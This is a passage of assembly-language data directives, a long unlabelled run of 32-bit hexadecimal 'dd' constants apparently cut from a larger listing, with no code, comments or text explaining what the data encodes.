73535547h, 0D400DAB7h, 4666224Ah, 1F77B674h, 0C08F9745h dd 0C2F6F5ADh, 8360CFC5h, 0C6CDF711h, 0EC4316BEh, 0D1D44EF4h dd 20BF961Dh, 92A3480h, 0DFC9C401h, 4612EFD9h, 0C59B30h dd 67058BA6h, 20398158h, 21B0C800h, 0FF3F26D0h, 0E73E075Ah dd 0A07E4361h, 4BE94642h, 1E965E13h, 10457009h, 48478BC8h dd 0AC002D83h, 975EB79Fh, 9E7BAD8Ah, 8E73427Ah, 0B1EE0905h dd 0E081F815h, 0C2DC6380h, 37EF3001h, 0A8604F5Ah, 9E959A00h dd 0A54DCB7Ah, 28CEE81h, 1B8B78AFh, 3342D187h, 4E713660h dd 881F2930h, 974435h, 0D0FE9D2Bh, 9CE4303Ah, 5118DE04h dd 0A48745B4h, 73F05D51h, 2DD6EF4h, 0E70534ABh, 0E380D9C1h dd 0C8719E2Bh, 210A1912h, 97D8BE02h, 44FC8204h, 0BE76009Fh dd 837E280Fh, 164DB5Ch, 6E52CAA5h, 3C305A54h, 62AC3033h dd 39EE290Eh, 3E04AB98h, 1D9AC8EDh, 0C4B1483h, 1EE4DECEh dd 0B5EC0D10h, 1B00F97Dh, 4FEA83C0h, 452A032h, 589DCE91h dd 0A67C8065h, 9803E8B1h, 0E9B9EA1Ah, 162DE8C0h, 908F0077h dd 0EB3C43E5h, 0F50059E2h, 8ED2A68Ah, 0E811E3Fh, 248514B8h dd 0E38002A9h, 0CE7EA2E2h, 0B99E9100h, 64D86C3Bh, 3FE880h dd 6F500D0Ch, 5D1F318Eh, 5F0A2600h, 7B172D5Ch, 0CC140005h dd 30CD668Ah, 68670D6Eh, 0F7A3A450h, 0D494D0E9h, 67CFCA9h dd 3A7204F2h, 11B09A5Eh, 49414200h, 3B846B75h, 0F62C00D3h dd 0DD3416BCh, 0DE00831Bh, 0DF3D0FA8h, 96A4B29h, 0C5F70D62h dd 0DBEA5810h, 36B40F00h, 0F8522DA5h, 7DC0FF1Bh, 0C2C0356h dd 3A098FDCh, 532832F0h, 6F616004h, 6EC18411h, 0ECDC5947h dd 0ED76038h, 5B6395FAh, 0C07C551Eh, 47F58F8Eh, 3E81785Fh dd 0E1F420F2h, 0FFC60074h, 7E736317h, 3D035B31h, 65474877h dd 7803E0CEh, 0C6AA0095h, 7BEBAFF1h, 0E0EC1AA3h, 1F620103h dd 0AA8BE6D4h, 8732C016h dd 4AB80267h, 30DB4BFEh, 3ACD56h, 0F6BF8663h, 1EEC1ABh dd 8784941Ah, 0CC2EB84Bh, 0CDF4F96Ch, 0F8240A1Ch, 17633100h dd 2719Ah, 308FC370h, 2F53A09Fh, 0D5FE4800h, 64BF8CDBh dd 2BA01E0h, 857F3CEEh, 748B4054h, 18004088h, 554E4582h dd 3B250DFAh, 2D0227E5h, 0E0D81948h, 3A391F60h, 8D305CF6h dd 0DF022849h, 0CAB63B35h, 224FBA01h, 38AE5E21h, 0D89000D4h dd 69A508F0h, 17A4B025h, 209CF1C2h, 0CEA82250h, 97DA4800h dd 7C4D9A77h, 754307D5h, 90419889h, 0CAF21362h, 0E602D72Ch dd 929B1000h, 255650h, 0E9CEB920h, 0D7306E69h, 1BBEE300h dd 2D7DF680h, 0D84000A5h, 0BC1CE635h, 4315771h, 0C8829801h dd 48E834h, 0F136C50Eh, 4DB55389h, 189A3000h, 0E87F5D45h dd 1DAB0014h, 9994BC74h, 0D9000563h, 46C0D45Bh, 0F662F5FAh dd 81A0079Ch, 50442F96h, 0D1A1477Dh, 2AA9B303h, 0D828B804h dd 1DE901CEh, 56405D31h, 0C0B41E7Eh, 0DA8F552Ah, 0D34C4C9Eh dd 4EFA2C3Bh, 84C0421Ch, 471FDC7Bh, 1DA100D5h, 0A4051997h dd 0D7010495h, 0D84A09FEh, 0DD7032CAh, 2DE27D8Ah, 0C650925Eh dd 779E060Fh, 5C1EC0FAh, 0E037AAh, 1B80287Dh, 0CD23D5CFh dd 0D9020102h, 68657287h, 16E63198h, 3F6A0h, 0E750A280h dd 2000B2C4h, 560C4DD6h, 0B3DB44h, 0D4CCC30Bh, 654566BDh dd 0CA5B231Eh, 0F100595Fh, 8B5E207Ch, 0D88500C4h, 8FAE5F03h dd 9D123C02h, 4000A348h, 0AC1C62CAh, 1D707154h, 0C0F246FDh dd 7BD90981h, 0BA73C56Ah, 7E3CB300h, 26525797h, 20346033h dd 0E8D4D82Fh, 0B2E30601h, 8976ECAFh, 0D02424h, 0E52D75F3h dd 6FD7744Ch, 49BFB900h, 0D34A5D1Dh, 0B0DF7471h, 650A0034h dd 1A296F4Fh, 0B97F08F6h, 6A07A0BAh, 2CF5B393h, 9E56E821h dd 0C835CCh, 69179C9Fh, 7F04BF96h, 93015F00h, 183F8B4Dh dd 13AE00F7h, 4129303Ch, 5D26A299h, 0EB00E444h, 7D037506h dd 140B01CFh, 0A708D933h, 7338CC7Fh, 0D8016EB8h, 493B8632h dd 0C0E6B4FDh, 0BACF9D9h, 48CFC49Eh, 1F15EF80h, 0D800A6FEh dd 7AF02A82h, 2ED34B25h, 308CBCh, 62FC99ABh, 0B90F7C18h dd 0E09085DBh, 0E7F14965h, 7D2A0056h, 0B2ADD712h, 0F30015E0h dd 0AA0344E5h, 7E527Ch, 32A12B61h, 0AEC0CE45h, 5B8448h dd 26A4D72Ch, 1F4F4C27h, 24CCB348h, 25003B3Ch, 0A3DEAD42h dd 890031CBh, 0D78BFED3h, 0C024A6Ch, 7FC0545Bh, 56000311h dd 0BB01353h, 0EEBB74h, 0A8FAEF7Ah, 0F781BD15h, 2BCE48h dd 0F92D501Ah, 1C537Dh, 835B9922h, 4D01977h, 0C9B9F700h dd 4BBF3616h, 5DA032Dh, 3037C1C4h, 63E47A00h, 0D3D50377h dd 0D1920146h, 7DD3C34h, 0A522CCC3h, 4440ED07h, 0C77029B1h dd 1F8A4906h, 8753A9D3h, 403F772Ah, 91DF10EAh, 72584F00h dd 90D012E5h, 8CC7001Ch, 2CB115DBh, 0DD3D1333h, 5930CE2h dd 12B9C9Ch, 0BD2683E0h, 0DC99DE92h, 160297D3h, 5FBE6346h dd 80A88FCFh, 4047F2B6h, 0FA86007Bh, 843FE435h, 810061B9h dd 3E83B37h, 63A3B8h, 0EA5101BFh, 70A42A09h, 53A81803h dd 0C02B77ECh, 3D38FD4h, 0ABB2372Fh, 6050CA9Fh, 29013A75h dd 0B075C3DCh, 0FFD66A61h, 0C68FFDC3h, 0AB18885Dh, 3631CB49h dd 398802FBh, 28801337h, 771D28B4h, 3C0BB3E6h, 20CE8028h dd 38F6CC44h, 879D37C5h, 0C9F34245h, 6F405D2Bh, 0CB18DE7Fh dd 43791F75h, 8E9E0037h, 214B6190h, 890193FDh, 25C26A8Fh dd 42307B86h, 54423B09h, 0DE0C723Ah, 0CF88150Bh, 6218A801h dd 41688F86h, 0CC46A850h, 54220020h, 0FCC36C1Ah, 63007256h dd 1FD1CD44h, 0A80C58h, 7BD641C4h, 67F3A227h, 5B3AE61Dh dd 77C04B1Eh, 26D9EE39h, 9AE895h, 49DB025Eh, 0FA7B220Eh dd 0EA486100h, 32F6D9B8h, 0F5B20F66h, 4D80EB41h, 9035E717h dd 1D7CF00h, 409589D1h, 597A00E2h, 9A435444h, 5200ECDEh dd 41C165C4h, 3A3889h, 0C967C27Fh, 155F16E5h, 0E648B800h dd 83C42EE9h, 66CF0368h, 1C829B6Bh, 9030D0E7h, 0E9008FDBh dd 2D1F5F70h, 79884D0Ah, 16D312E4h, 103F00D0h, 979DED7Fh dd 373EDB00h, 5EA61F4Eh, 0EAFE19h, 4D2CB734h, 628FF4CCh dd 2017E00Fh, 324883E6h, 969EE04Fh, 18B261DEh, 11D84B9Ch dd 0C0404E81h, 0A8669F98h, 27F97BCh, 6C71A051h, 0F0AF2014h dd 0C20E69Fh, 7D115FCCh, 46528500h, 1F7323E6h, 728B3ADEh dd 1C216C30h, 1D034C9Dh, 0D30D2159h, 8419036Fh, 8E44D77Dh dd 142863E0h, 4331AD00h, 5765F70Dh, 7AAB01ACh, 0EDA25E4Ch dd 9680FFF8h, 0B11CA963h, 56C05398h, 1ED9905Fh, 0ADA6194Ah dd 80C40937h, 90677621h, 1860D89Ah, 18B67EF3h, 0DE00AAA6h dd 789E2B22h, 12A8D40h, 84262114h, 8E87CE01h, 60E30A29h dd 0BEB3A357h, 20270163h, 43B86DCCh, 180ECFFCh, 6453D868h dd 980F4B0Ch, 8B6D0770h, 6590A2ACh, 3F2E8617h, 859DB722h dd 97D2C034h, 4852FB0Ah, 12D8E900h, 0A1C196BEh, 109400E4h dd 0E47BF56h, 0EF0001D6h, 7DAC4362h, 87CD8Bh, 0F3175F4Bh dd 3A2B0815h, 0F8002790h, 7DC7B2BFh, 3FC6B043h, 0A180974Ah dd 0EC035670h, 92008539h, 0EE87F95Eh, 387B448Dh, 13000463h dd 0B307A9C5h, 211F7D2Dh, 0F9035DAAh, 0E0DC2B70h, 3F36E29h dd 0FF491256h, 0EB989B96h, 5A00D83Eh, 43121E1h, 3F1A90h dd 2814273Dh, 3E1BFF5Bh, 7361C31Eh, 0D69BC0C7h, 33899200h dd 0AC0902D4h, 0A5B1DFFBh, 0BC075E0h, 0B9AF30C0h, 720F2F2Bh dd 0BAE1009Ch, 88BD2978h, 0E000FFFCh, 0E24D96C3h, 1D1E79h dd 0F17CFA25h, 0D6C54B8Eh, 399AB00Fh, 50C40C11h, 0F69887h dd 0F655A8E7h, 0E82C7083h, 108B1701h, 18D9E55Ah, 69D90C3Eh dd 84EC0650h, 74DA0B00h, 4AE7A5FDh, 68230024h, 0D09A9E65h dd 0B00058CCh, 0C5F0C089h, 6002228Eh, 0CDC8E0B2h, 9AF02135h dd 70B8D501h, 0F142D2BDh, 198445C5h, 86D047Dh, 13F1060h dd 12CAD79Ch, 0B980A29Dh, 11DC7FF8h, 10C0C340h, 41D7D8E1h dd 43BF00D1h, 683DBEC8h, 630305E0h, 0C106655Dh, 0F8D5881Dh dd 0DF080002h, 69F4C78Bh, 0E40010EFh, 1409D084h, 63625Ah dd 805032Fh, 553C78F1h, 0E78CD900h, 0BA5E1AF3h, 24360004h dd 5AC34433h, 1C079B2Eh, 6DDB20B1h, 415F8680h, 30BB0121h dd 56357DDCh, 0C375F0E8h, 86993C00h, 19EDB760h, 33C50198h dd 0B409A3BEh, 0CBBC4382h, 851DA8A0h, 0DDF98903h, 906D36C5h dd 0F15484Eh, 0DB7BC86h, 7D80CA4Fh, 825FC775h, 6174DB70h dd 0DACF7A00h, 49265184h, 0FA370F0Fh, 7C5698h, 9A85C347h dd 24F46958h, 0C49CBC00h, 0B75FCE5Ah, 0F1FB00A2h, 0A68D3609h dd 8C00391Ch, 0C09A582Fh, 34376Bh, 0F78530DDh, 0C87108FAh dd 229F3207h, 0CB40FE35h, 0EE478405h, 0EC730070h, 590FD456h dd 7C7C8762h, 898BD700h, 1C6E533Fh, 3369004Dh, 8DFCC53Bh dd 10073F1h, 8948152Ah, 194922ABh, 291AD24Eh, 445C083Fh dd 1084A526h, 2150786Fh, 2ABC0813h, 88969188h, 0D7887AB2h dd 106788C4h, 88954D88h, 98A877C3h, 191C29C4h, 484E5948h dd 844F9046h, 754824D8h, 24403042h, 84E122E3h, 82272128h dd 27044FBFh, 348B2840h, 5D0338A0h, 0E0B440ECh, 6AC9835h dd 322E00EEh, 25B5378Ch, 0DE3A70CCh, 5D1C77B3h, 36803E3Bh dd 52812127h, 64320EB2h, 1A0A3C7h, 24C8E50h, 6E614400h dd 52D694C4h, 0AAE31EE9h dd 5132816Ch, 0C8B7CF9Bh, 9900CAE8h, 0E64E7BDCh, 6785ABh dd 0DD59B9A8h, 0FB1A1DBBh, 0A6C71000h, 70A528E9h, 5E7799h dd 364F2473h, 37137C67h, 8125C400h, 641EFD62h, 6B110018h dd 94AB79BEh, 9301714Ch, 5E063760h, 0FBDC29BDh, 0DC88075Bh dd 50FA3603h, 95813D09h, 8C91AF1Fh, 1340975Eh, 407BFEF5h dd 0BB0F0E74h, 24A05014h, 238B04Dh, 20E01104h, 15832B25h dd 5891C836h, 92660010h, 0CDFA3B3Fh, 5207CEC2h, 0D27B99F6h dd 3CC04074h, 10F2EF2h, 0D165AA43h, 70CBB574h, 3A003FDDh dd 8C114EDBh, 743A198h, 7550A751h, 8F20D7AEh, 6B02CE1h dd 82CCF441h, 0FA77CA18h, 136851h, 7A47404Eh, 64C73220h dd 0AA9B900h, 0AF3B1987h, 4E1C00FBh, 0F36575CEh, 0A501322Dh dd 93F6B66Ch, 78FCCC8Ch, 1D8FE2C3h, 197E0Fh, 0FABC27B8h dd 9D017CB4h, 0F64330C1h, 0D7F840E7h, 517500DCh, 9A8E2462h dd 6C0DD681h, 31E1EBB5h, 31B6C4h, 29D319AFh, 546EC6EAh dd 0AEC9507h, 38E27ACEh, 8ADC4812h, 0E383000Dh, 684CFB05h dd 0CC007F81h, 379901E7h, 1F1642h, 80CE6CDh, 0DFFEE184h dd 96654701h, 0D2EA5AD7h, 806AB543h, 2C390E41h, 0DA27D6h dd 69634C31h, 8B0FCA3Dh, 27E5BC8Fh, 6FE04149h, 90DC0F32h dd 63B11D02h, 0D6F98003h, 3FAF6C55h, 4DAD4906h, 287C75h dd 6EC8EA30h, 2FC19FA1h, 59A7D400h, 0E252A876h, 7D5A200Fh dd 318F7500h, 43D7133h, 0A3900181h, 46ED5058h, 2555DD54h dd 8BB03B24h, 1D2A0094h, 0ADB86297h, 6E3E7591h, 0E8D20B2Bh dd 1BAF0022h, 4672BBh, 1054CBD3h, 0D0E65A59h, 3A09C1FEh dd 22BBFA62h, 30C30138h, 0C9005674h, 4A413606h, 48D5C1F2h dd 72002C91h, 85B7F3F0h, 100D987h, 0C8D3496Ch, 0A5EC76h dd 0B9D7E35Dh, 94ACFFBDh, 98F80504h, 8079AAh, 5D90DBh dd 4A921697h, 688E9469h, 7448CE2Eh, 0DDF6A1Fh, 81EC5580h dd 5887AE5Bh, 70009011h, 0A3248CB0h, 5703EAC9h, 925A48EFh dd 7279A8C4h, 0E280175Dh, 1C350F60h, 0C0DE51C5h, 0DCD3AC18h dd 0F10CF40Eh, 9704E047h, 32136Eh, 9492B7B8h, 0CA3B4079h dd 0BB48A800h, 13C98E49h, 44A600CBh, 0B288ADD7h, 0B003512h dd 9B2A9334h, 1DCCA3A1h, 8683BA94h, 11B74C1Bh, 1EA48402h dd 0C066C5D9h, 3EF789Fh, 0BF55B98Fh, 829804FDh, 5C1E127Fh dd 45802428h, 65F3FA51h, 83F0004Fh, 0B5AE130Eh, 3600D6E7h dd 856BBD57h, 0E2EB8F59h, 0E1A002Ah, 0BF69DA1Ch, 0C900276Ch dd 9F7DF1D0h, 115605h, 7EEE2A1Dh, 810A605Ah, 79E16800h dd 0E994BFE7h, 753000ECh, 298928C1h, 0CEECD046h, 9056877h dd 56621DD9h, 2AD5F000h, 30128EDh, 0BF26480Fh, 47D8817Ch dd 4F7B34BAh, 0AE2E40F0h, 31078855h, 4360DECCh, 0E2748AC4h dd 0C8E645h, 53EF5F06h, 2484A21Fh, 0A7229700h, 0DEAFD739h dd 15460551h, 4EB583h, 2E0AFE8Dh, 1407B80Eh, 62B79C29h dd 43806837h, 0CB6D3Dh, 91A54E51h, 77FA33Ch, 82184261h dd 0AFF075E9h, 52FE0046h, 0A080768Fh, 0C1A0123Eh, 8C008782h dd 6E0CFC34h, 7D156F70h, 7F947C05h, 0CEF901DFh, 314B2258h dd 0F074D9E9h, 2F001192h, 0EB8E3F88h, 54989Ch, 0D830907Fh dd 10AC08D5h, 1B1A7D0Eh, 0AB0920D6h, 26981473h, 0E9A526h dd 0B24A1FE1h, 5B1F790Dh, 68C0D5C8h, 0A5C2BD41h, 0B2C98A6h dd 66E55EC0h, 0E2A3680Fh, 6DE09F63h, 2150C9CDh, 0E000E4DCh dd 0AB0ED3FBh, 1E63977Dh, 0C29C2772h, 0DFFDE7C3h, 533964C0h dd 80CC6500h, 3B09D7D2h, 72960046h, 5403CD6h, 0E61C2964h dd 0FC409998h, 0F75FE93Dh, 7ED9240Eh, 72FA0F7Ch, 0CD7AEF00h dd 0E10031CEh, 8DA5F368h, 5CB02D4Bh, 0D0CAB02h, 4499A96Dh dd 570CE400h, 0F5425D0Ah, 0B031C65h, 77D94033h, 245CB109h dd 0E8E02F00h, 54CE7683h, 0C2EF00B7h, 0B9AB88EAh, 4D266CE6h dd 810050F2h, 0DB7A5EBh, 0DACE036Ah, 5F5D0C44h, 53C727D8h dd 729B8B00h, 0F293207Ch, 4CB8B070h, 8F018819h, 5752801Fh dd 0B894FCAAh, 103CD901h, 21B055B2h, 7702D4h, 0ED811604h dd 0EA5DD432h, 0D254781Ch, 6F750100h, 15B785h, 9BA140DFh dd 0EC0F03AFh, 2A728E05h, 7BC0487Eh, 943CA6h, 57EE7DD9h dd 0A3995A25h, 0C9013F73h, 8E20A283h, 0D2D0461Eh, 1B610073h dd 4C0BF616h, 0FE007E57h, 0C081E882h, 1F2A989h, 0F0EB7B23h dd 70448E08h, 7D00A395h, 0A5942A4Fh, 0E3F57Fh, 0AEB5435Fh dd 9F641FFCh, 13EF2C00h, 97E7D44Ah, 0A77D3Ah, 0D05305BFh dd 89F6F458h, 3A849D58h, 40037C46h, 0EBC4ABF9h, 5450D04Dh dd 56A80318h, 513C53D6h, 47EF439Bh, 0CC4F306Eh, 0C10FD7B8h dd 0A7615646h, 0C4A0EDD0h, 20CAB579h, 0A802DC4Dh, 0F92ADD87h dd 3E18E0EBh, 1FB4900Dh, 40B38E4Ch, 9349421Dh, 30091EC8h dd 1320321h, 4102C99Eh, 14311CE0h, 0D023A925h, 0D95CBE1Fh dd 0FCD0848Ch, 107AF18Eh, 0FD3EAE00h, 78A72DC4h, 0F8760053h dd 0DDEA693Ch, 0E098931Ch, 2102B901h, 0F31E5632h, 3D2320h dd 0A9082A3Bh, 296EAE1Bh, 62B7312h, 139F2C40h, 1EB156Dh dd 3490EEB0h, 0D02B4381h, 0D061E1Ah, 2CD7AABAh, 0C0F0010h dd 0C625BBBDh, 0E098D1B8h, 35D92F13h, 107B875h, 5BD15140h dd 8861469Bh, 0E5E1C100h, 433F472h, 0DB487590h, 1500C094h dd 90013D4h, 3C93AF28h, 26C23Bh, 3A1A7F0h, 5CA6CC41h, 0C0633326h dd 65CED007h, 0CAC2E670h, 0AD80B5DEh, 0AA79B20Ah, 5A14313Ch dd 5B42AE00h, 0E5E413Ch, 6681BF0Dh, 67796300h, 0AB009A16h dd 7F7677E5h, 0DFD26Fh, 0C0D65E4Ch, 64FE6748h, 6B5A4E12h dd 40A6A80Eh, 6CB36594h, 0CAD3002Ch, 987EDA51h, 1F90DF8Ch dd 801ED439h, 0D11CDEC1h, 1D60E5h, 84D6F736h, 0EECF4681h dd 0F198D000h, 0DF8DFC4h, 0F365398Eh, 269C0381h, 0C03DEC3Eh dd 4D00FC8Dh, 4255D2Eh, 1259A2CEh, 79FA960h, 70B4E660h dd 28D71CA0h, 53F0CC03h, 883533B1h, 3AF3B632h, 881B254h dd 0ED0DB02Ch, 0A23C3423h, 81F5AA0Eh, 6F8E2027h, 5C1559ADh dd 605019E5h, 3CA72688h, 6B9B80B8h, 95D7C058h, 0A44B8A0h dd 0D81EFC78h, 4100A04Eh, 0D4AEFEECh, 0FEA47685h, 556B00BCh dd 19D6700Dh, 449838CEh, 0C16EE804h, 8CC012ADh, 1F2A718h dd 0E960073Dh, 0BD30848Fh, 0AB5E8918h, 3EB44061h, 0E48000A4h dd 39E06AD8h, 1B606411h, 0C7E98B28h, 10C80048h, 3E767052h dd 57004F91h, 0DA79E0CDh, 0D27867h, 941BCAF8h, 9D483814h dd 9B40EF0Eh, 11BF2359h, 147349h, 6361348Bh, 0FBD6FF81h dd 11ECDEF6h, 0D3160E00h, 85DE437h, 5828F069h, 1D0059F9h dd 0CBABB87h, 22747B97h, 0A4727D00h, 1C32FD9Dh, 0DFB0071h dd 5FD37347h, 0B07283ACh, 8018463Fh, 0A746B6Ah, 26EFD4CEh dd 80487172h, 0B7BC356Eh, 0E4AA5DB1h, 3851EC11h, 29340304h dd 0A84BEBCBh, 0E70506h, 6AFFC0C3h, 0FB596E4Eh, 0E0B6672Eh dd 22DDE101h, 0E840A245h, 9C84BE60h, 5930C008h, 0D400F5E1h dd 91B4E8Bh, 98156722h, 7B470010h, 3AEE746Dh, 0B0A0615Ch dd 7C006CA5h, 0E87135E1h, 582CDB7Bh, 54000C69h, 0A94C82CCh dd 36FA5C7Eh, 70A29700h, 9F6505CDh, 377C00AFh, 55936F84h dd 8700BD6Bh, 681D9A1Bh, 4C9E486h, 21F3E052h, 80DA85B0h dd 3BB5ADE3h, 0CBE5D8E5h, 54B40409h, 0AFA8003Dh, 4C6710B0h dd 40026CA8h dd 8DCF9590h, 20061460h, 0A60FF528h, 2B89F4B1h, 0B11F8133h dd 2AC05707h, 0C6170354h, 328CAE87h, 0CF0F39D8h, 28113B60h dd 600E38h, 0BDBCFB44h, 6503EF75h, 6C030CD2h, 0F22B1F0Fh dd 7880407Fh, 0AFFC0056h, 0C6405C51h, 647D530Ah, 0A87AD20Bh dd 2F480045h, 240593ECh, 3F928AA5h, 0C06A129Eh, 3A38FC28h dd 0FD1EA8FAh, 328056EEh, 0F404910Fh, 0B941009Dh, 61D7DDCCh dd 6A733F1Dh, 0D7BE007h, 7902F99h, 4EBC24h, 26B92BB1h dd 0F283E167h, 5A21300h, 0D43CD895h, 5069EE7Eh, 5D87D5h dd 17E27924h, 91CA0392h, 7B77BB01h, 11D184D2h, 98E0FBE8h dd 0AF1503FDh, 2B0A5E64h, 86B781EFh, 6AC0D868h, 485DDF00h dd 1BAD09AAh, 63D200FEh, 0B8539B32h, 183867CAh, 82F2B910h dd 226F3DDFh, 56398h, 0A1216E11h, 133CE90Ah, 0C8323Ch dd 0F19190ECh, 74A273h, 2AF8EE02h, 0FFB8E69Ch, 0A9ED6C00h dd 572472B2h, 0B1420079h, 0FAAA747Ch, 5CFE6A99h, 73550100h dd 0FEE58404h, 86BA1D96h, 9750434Bh, 4000F41Fh, 0D6A6397Ah dd 20FC1Eh, 0AEAA760h, 0AE13FDA2h, 1481D700h, 6E875068h dd 32CF00A8h, 8F55D0C0h, 0D626BD74h, 0A7008AF0h, 0BB5AFDEDh dd 0A08B1F3Fh, 0EE80BAEFh, 63A92112h, 5E07813Ch, 0A478B094h dd 972CCD80h, 744816BAh, 683500A6h, 0CE69AF43h, 72F79500h dd 84988C51h, 34220042h, 529713D8h, 0E7009155h, 0E9CB0FCDh dd 7F27FF4Ah, 0D200386h, 0EF989BF7h, 434278E0h, 0ED977300h dd 524FFB65h, 6A701E7h, 0D0D282A3h, 0CCC4FD4Ch, 6600F128h dd 0F8BF9B22h, 0BCA0F9h, 0E8B05E75h, 0BDC607EFh, 4E833000h dd 2608A177h, 0AF1103A4h, 0D5CD6709h, 3ED3AAD9h, 9DB49F81h dd 9239B30h, 0E398ADD0h, 0D22C1000h, 0C200733Dh, 0F25E921h dd 9E2DDBh, 0BE06483Bh, 2F28E320h, 0CF93AB00h, 0B44FECA5h dd 156C3DEAh, 7DDAB900h, 0D287E9C1h, 67B54000h, 0D03D0AFAh dd 0A6D100EBh, 0BD94EFFDh, 463F9E63h, 7D8E0030h, 914DABD7h dd 0E280129h, 0C874338Ah, 7162F5F0h, 9DA6D4D3h, 82824C3Fh dd 586ACE4Dh, 0CBBE6038h, 4FB70063h, 7BDFA48Bh, 6900E8D6h dd 0CF5516F0h, 6E8441h, 0DFE7A9Bh, 2BF10A93h, 0C7BEF50Fh dd 6FF040D7h, 0CE7B8Bh, 0C6D950E8h, 766AC217h, 945A9500h dd 49B0CAEh, 144D00A0h, 6B2EF950h, 0E303B242h, 0AC8B9031h dd 0A541E0F5h, 0E476B1h, 3D63380Eh, 0F3FEBB9Bh, 7C390D00h dd 0E53B7204h, 0BA7E00F6h, 37F2775Bh, 0B6F8EAFDh, 0F3786600h dd 7C8EDFA2h, 546B84Fh, 0C6F7F619h, 80A980B4h, 0A00EBD1h dd 0EA35FF50h, 0EA7AD8BEh, 278B03DEh, 7E75E243h, 0BDE02AF2h dd 2B009938h, 0D98FB00Dh, 5C6FCh, 5688EEB5h, 2392A90h dd 384AD600h, 0AB0FA4C7h, 0BCCD0054h, 488BDCAEh, 0D51FE409h dd 0E01F113Dh, 812996C0h, 752F15h, 50924F06h, 3A769518h dd 0E0F9841Fh, 0EA1B00BAh, 0B1E1CFC3h, 0F9C0046h, 0EE3007ECh dd 0ED009FA1h, 0E3332E6Fh, 7E14A26h, 0EA55460Bh, 0B02D67CEh dd 0D9A363B1h, 0C2318B05h, 5B829FEEh, 774077F0h, 4D00E171h dd 56589E9Ch, 63B61543h, 62E2205Ah, 0F7F945E0h, 843D0D00h dd 3314CC56h, 4AB900C9h, 0CB2F92B0h, 9008094h, 0AC49E1AEh dd 7319B6CEh, 60740E95h, 1E603268h, 78706526h, 71301700h dd 7BE18E7h, 350D48DBh, 1074AF00h, 76AEC828h, 34A25400h dd 0F85E61C9h, 2EC6007Dh, 0DC306588h, 0C8C0E062h, 5E82D6AEh dd 0EAC0002h, 8C2F9F89h, 56001F0Ah, 0CBAD8BB4h, 0EE34FF9h dd 0AEC22A9Ah, 291E0F20h, 0D663861Bh, 88289911h, 62D777h dd 0BD057EA5h, 0D88DC2Eh, 66203300h, 5CAC7DFAh, 0E36E00DAh dd 7B053E86h, 0AD0072B3h, 0F726E790h, 0CE89CCh, 96FD9DCh dd 4B433161h, 64906BE6h, 0ED0F24F8h, 830DF088h, 0A2B4D13Eh dd 1670C094h, 0AB7B002Ch, 71BC6CD3h, 0ED00BE0Fh, 7F6497D9h dd 4AA1E0C7h, 1E1A827h, 4A258DAAh, 59808166h, 99A7E24Bh dd 0C50BA39Fh, 0E6BF53h, 41397D42h, 0E1CC00C3h, 0B6ABD82Eh dd 3706923Fh, 8808EF23h, 77B3C40h, 0E355B480h, 41A4F09Eh dd 2056A8CEh, 11D37663h, 83B900A8h, 44A7C847h, 3D019C19h dd 95C638CFh, 4170462Ah, 40984Ch, 0CBC051FEh, 0D7F798E6h dd 81737701h, 0C641F4B9h, 7B270h, 0D2764778h, 0E21DCC8Fh dd 0C909EA00h, 12E4CB08h, 77900FAEh, 74650676h, 0AFB00E6Fh dd 57F23D80h, 9B4C27E7h, 76F1028Dh, 40CC5C4Bh, 9F3C0DCh dd 9DCBDCD7h, 5D445380h, 0D603BFE6h, 0CEE06DE9h, 0A05988D1h dd 3A1602BAh, 15B2331Ch, 3CBE8BE0h, 49BF0700h, 7CD78BBCh dd 0A14498B8h, 0E1F1980Ch, 60C09447h, 1E861420h, 93A005F2h dd 0C3A01FC0h, 6F0A8E50h, 98F1D5C0h, 5A1DA11Ch, 0C648097Ah dd 528E00E3h, 93556Eh, 6698CCC2h, 5DB8D272h, 0D5114498h dd 44C06383h, 22881CEEh, 69AFA00h, 897385FDh, 0EC400B8h dd 0AC2D5C6Ah, 0B20A8B12h, 940F7D50h, 5496A100h, 6208E7h dd 4FF4A0F0h, 0C647A26Bh, 0E82DE512h, 19FE6800h, 0A56685h dd 0BC935E0h, 894BB597h, 0CD04B60Ch, 0FA22F08Bh, 7E963387h dd 77C16D90h, 882726h, 8BE66776h, 994A84h, 5EB1B6B9h, 9C78C5D8h dd 41E4ED01h, 58127C08h, 760687C8h, 0FE470449h, 9132CCBEh dd 32EDCD60h, 73270F9Ch, 0BAF1A09Ch, 0C98633h, 0B0CD8F44h dd 5903B857h, 0AA519D00h, 65172093h, 0FA9C0168h, 1675EEE3h dd 81F8E841h, 20A44Dh, 1C1BB366h, 494F10Fh, 0B090C237h dd 13D4D7EEh, 1E003C6Ch, 1B7812Ch, 2C6490E6h, 0BE7C39A0h dd 525D4F80h, 7AC9EBEAh, 0E5F4100h, 498FF84h, 0ACC63D6Ah dd 2A230F80h, 851B83BAh, 0AA86A600h, 0FC915F96h, 66A00129h dd 69494771h, 0D9B9C86Dh, 5D1EBC00h, 92D88F65h, 52940401h dd 8070D0E2h, 0ACF7D9CFh, 639D4D00h, 73694BBFh, 8BDF0E94h dd 0A0EF55C0h, 99E1C7A0h, 6D0943D5h, 2ED84854h, 4B70C034h dd 65F4E5h, 0EEF713DEh, 6B06925Eh, 0E3C7D600h, 0C4953DAh dd 0DBC40020h, 3E2181ADh, 0D4543777h, 0C80E9E8Ch, 6030FB1Dh dd 0CB5350A7h, 5CE900A4h, 0C5643E92h, 0DA04A818h, 0FD112D45h dd 0A335D1C1h, 34F3070h, 51C2E18Dh, 0A8C8E869h, 0D242A6Ah dd 14005063h, 0E10A91A3h, 38F53E48h, 0A02D1980h, 63250787h dd 69669201h, 0D4D55458h, 54424h, 0E76E2F3Eh, 47468979h dd 2B4D8400h, 0B22C97D2h, 0E9453F12h, 96DBBF82h, 90C0E494h dd 833E19AAh, 0F3510053h, 0FAB7A645h, 57FB000Ch, 6643F2Dh dd 9B504880h, 8C9202ACh, 0A2841C26h, 0E80F9400h, 0E573E4h dd 7CA5593Bh, 3C2EDB4Ah, 10C6B500h, 0D1A9BDBEh, 0F0D44E16h dd 2000EE87h, 8C5D45CAh, 188F46FBh, 787D63A1h, 817DF9F2h dd 0A9FCAC18h, 2CB1B4A0h, 1846DAFDh, 7BC94142h, 0DCEA7500h dd 0ABF5B499h, 968D00E3h, 0E0B591D9h, 0C31E9FE4h, 554063CAh dd 0B0276DF6h, 2694A0DBh, 0F79C00B6h, 0F82575BCh, 230FE9DCh dd 0E0921C21h, 15EE7349h, 0A330008Ch, 0F5BB3EB4h, 0C0909444h dd 0ECBF8B24h, 6B629C60h, 91C9018Dh, 6F29D95Fh, 7440DA08h dd 0BE04261Fh, 0A2689D2Dh, 